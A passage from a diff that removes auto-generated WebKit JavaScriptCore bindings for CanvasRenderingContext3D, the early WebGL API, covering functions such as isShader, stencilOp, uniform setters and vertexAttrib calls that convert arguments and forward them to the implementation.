-    JSC::JSValue result = jsBoolean(imp->isRenderbuffer(renderbuffer));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsShader(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasShader* shader = toCanvasShader(args.at(0));
-
-
-    JSC::JSValue result = jsBoolean(imp->isShader(shader));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionIsTexture(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasTexture* texture = toCanvasTexture(args.at(0));
-
-
-    JSC::JSValue result = jsBoolean(imp->isTexture(texture));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionLineWidth(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    double width = args.at(0).toNumber(exec);
-
-    imp->lineWidth(width);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionLinkProgram(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-
-    imp->linkProgram(program);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionPixelStorei(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned pname = args.at(0).toInt32(exec);
-    int param = args.at(1).toInt32(exec);
-
-    imp->pixelStorei(pname, param);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionPolygonOffset(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    double factor = args.at(0).toNumber(exec);
-    double units = args.at(1).toNumber(exec);
-
-    imp->polygonOffset(factor, units);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionReadPixels(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int x = args.at(0).toInt32(exec);
-    int y = args.at(1).toInt32(exec);
-    unsigned width = args.at(2).toInt32(exec);
-    unsigned height = args.at(3).toInt32(exec);
-    unsigned format = args.at(4).toInt32(exec);
-    unsigned type = args.at(5).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->readPixels(x, y, width, height, format, type)));
-    return result;
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionReleaseShaderCompiler(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-
-    imp->releaseShaderCompiler();
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionRenderbufferStorage(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned internalformat = args.at(1).toInt32(exec);
-    unsigned width = args.at(2).toInt32(exec);
-    unsigned height = args.at(3).toInt32(exec);
-
-    imp->renderbufferStorage(target, internalformat, width, height);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionSampleCoverage(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    double value = args.at(0).toNumber(exec);
-    bool invert = args.at(1).toBoolean(exec);
-
-    imp->sampleCoverage(value, invert);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionScissor(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int x = args.at(0).toInt32(exec);
-    int y = args.at(1).toInt32(exec);
-    unsigned width = args.at(2).toInt32(exec);
-    unsigned height = args.at(3).toInt32(exec);
-
-    imp->scissor(x, y, width, height);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionShaderSource(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasShader* shader = toCanvasShader(args.at(0));
-    const UString& string = args.at(1).toString(exec);
-
-    imp->shaderSource(shader, string);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilFunc(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned func = args.at(0).toInt32(exec);
-    int ref = args.at(1).toInt32(exec);
-    unsigned mask = args.at(2).toInt32(exec);
-
-    imp->stencilFunc(func, ref, mask);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilFuncSeparate(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned face = args.at(0).toInt32(exec);
-    unsigned func = args.at(1).toInt32(exec);
-    int ref = args.at(2).toInt32(exec);
-    unsigned mask = args.at(3).toInt32(exec);
-
-    imp->stencilFuncSeparate(face, func, ref, mask);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilMask(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned mask = args.at(0).toInt32(exec);
-
-    imp->stencilMask(mask);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilMaskSeparate(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned face = args.at(0).toInt32(exec);
-    unsigned mask = args.at(1).toInt32(exec);
-
-    imp->stencilMaskSeparate(face, mask);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilOp(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned fail = args.at(0).toInt32(exec);
-    unsigned zfail = args.at(1).toInt32(exec);
-    unsigned zpass = args.at(2).toInt32(exec);
-
-    imp->stencilOp(fail, zfail, zpass);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionStencilOpSeparate(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned face = args.at(0).toInt32(exec);
-    unsigned fail = args.at(1).toInt32(exec);
-    unsigned zfail = args.at(2).toInt32(exec);
-    unsigned zpass = args.at(3).toInt32(exec);
-
-    imp->stencilOpSeparate(face, fail, zfail, zpass);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionTexParameterf(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-    float param = args.at(2).toFloat(exec);
-
-    imp->texParameterf(target, pname, param);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionTexParameteri(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned target = args.at(0).toInt32(exec);
-    unsigned pname = args.at(1).toInt32(exec);
-    int param = args.at(2).toInt32(exec);
-
-    imp->texParameteri(target, pname, param);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionTexImage2D(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->texImage2D(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionTexSubImage2D(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->texSubImage2D(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform1f(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int location = args.at(0).toInt32(exec);
-    float x = args.at(1).toFloat(exec);
-
-    imp->uniform1f(location, x);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform1fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniform1fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform1i(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int location = args.at(0).toInt32(exec);
-    int x = args.at(1).toInt32(exec);
-
-    imp->uniform1i(location, x);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform1iv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniform1iv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform2f(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int location = args.at(0).toInt32(exec);
-    float x = args.at(1).toFloat(exec);
-    float y = args.at(2).toFloat(exec);
-
-    imp->uniform2f(location, x, y);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform2fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniform2fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform2i(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int location = args.at(0).toInt32(exec);
-    int x = args.at(1).toInt32(exec);
-    int y = args.at(2).toInt32(exec);
-
-    imp->uniform2i(location, x, y);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform2iv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniform2iv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform3f(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int location = args.at(0).toInt32(exec);
-    float x = args.at(1).toFloat(exec);
-    float y = args.at(2).toFloat(exec);
-    float z = args.at(3).toFloat(exec);
-
-    imp->uniform3f(location, x, y, z);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform3fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniform3fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform3i(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int location = args.at(0).toInt32(exec);
-    int x = args.at(1).toInt32(exec);
-    int y = args.at(2).toInt32(exec);
-    int z = args.at(3).toInt32(exec);
-
-    imp->uniform3i(location, x, y, z);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform3iv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniform3iv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform4f(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int location = args.at(0).toInt32(exec);
-    float x = args.at(1).toFloat(exec);
-    float y = args.at(2).toFloat(exec);
-    float z = args.at(3).toFloat(exec);
-    float w = args.at(4).toFloat(exec);
-
-    imp->uniform4f(location, x, y, z, w);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform4fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniform4fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform4i(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    int location = args.at(0).toInt32(exec);
-    int x = args.at(1).toInt32(exec);
-    int y = args.at(2).toInt32(exec);
-    int z = args.at(3).toInt32(exec);
-    int w = args.at(4).toInt32(exec);
-
-    imp->uniform4i(location, x, y, z, w);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniform4iv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniform4iv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix2fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniformMatrix2fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix3fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniformMatrix3fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUniformMatrix4fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->uniformMatrix4fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionUseProgram(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-
-    imp->useProgram(program);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionValidateProgram(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    CanvasProgram* program = toCanvasProgram(args.at(0));
-
-    imp->validateProgram(program);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib1f(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned indx = args.at(0).toInt32(exec);
-    float x = args.at(1).toFloat(exec);
-
-    imp->vertexAttrib1f(indx, x);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib1fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->vertexAttrib1fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib2f(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    CanvasRenderingContext3D* imp = static_cast<CanvasRenderingContext3D*>(castedThisObj->impl());
-    unsigned indx = args.at(0).toInt32(exec);
-    float x = args.at(1).toFloat(exec);
-    float y = args.at(2).toFloat(exec);
-
-    imp->vertexAttrib2f(indx, x, y);
-    return jsUndefined();
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib2fv(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
-    return castedThisObj->vertexAttrib2fv(exec, args);
-}
-
-JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib3f(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
-{
-    UNUSED_PARAM(args);
-    if (!thisValue.inherits(&JSCanvasRenderingContext3D::s_info))
-        return throwError(exec, TypeError);
-    JSCanvasRenderingContext3D* castedThisObj = static_cast<JSCanvasRenderingContext3D*>(asObject(thisValue));
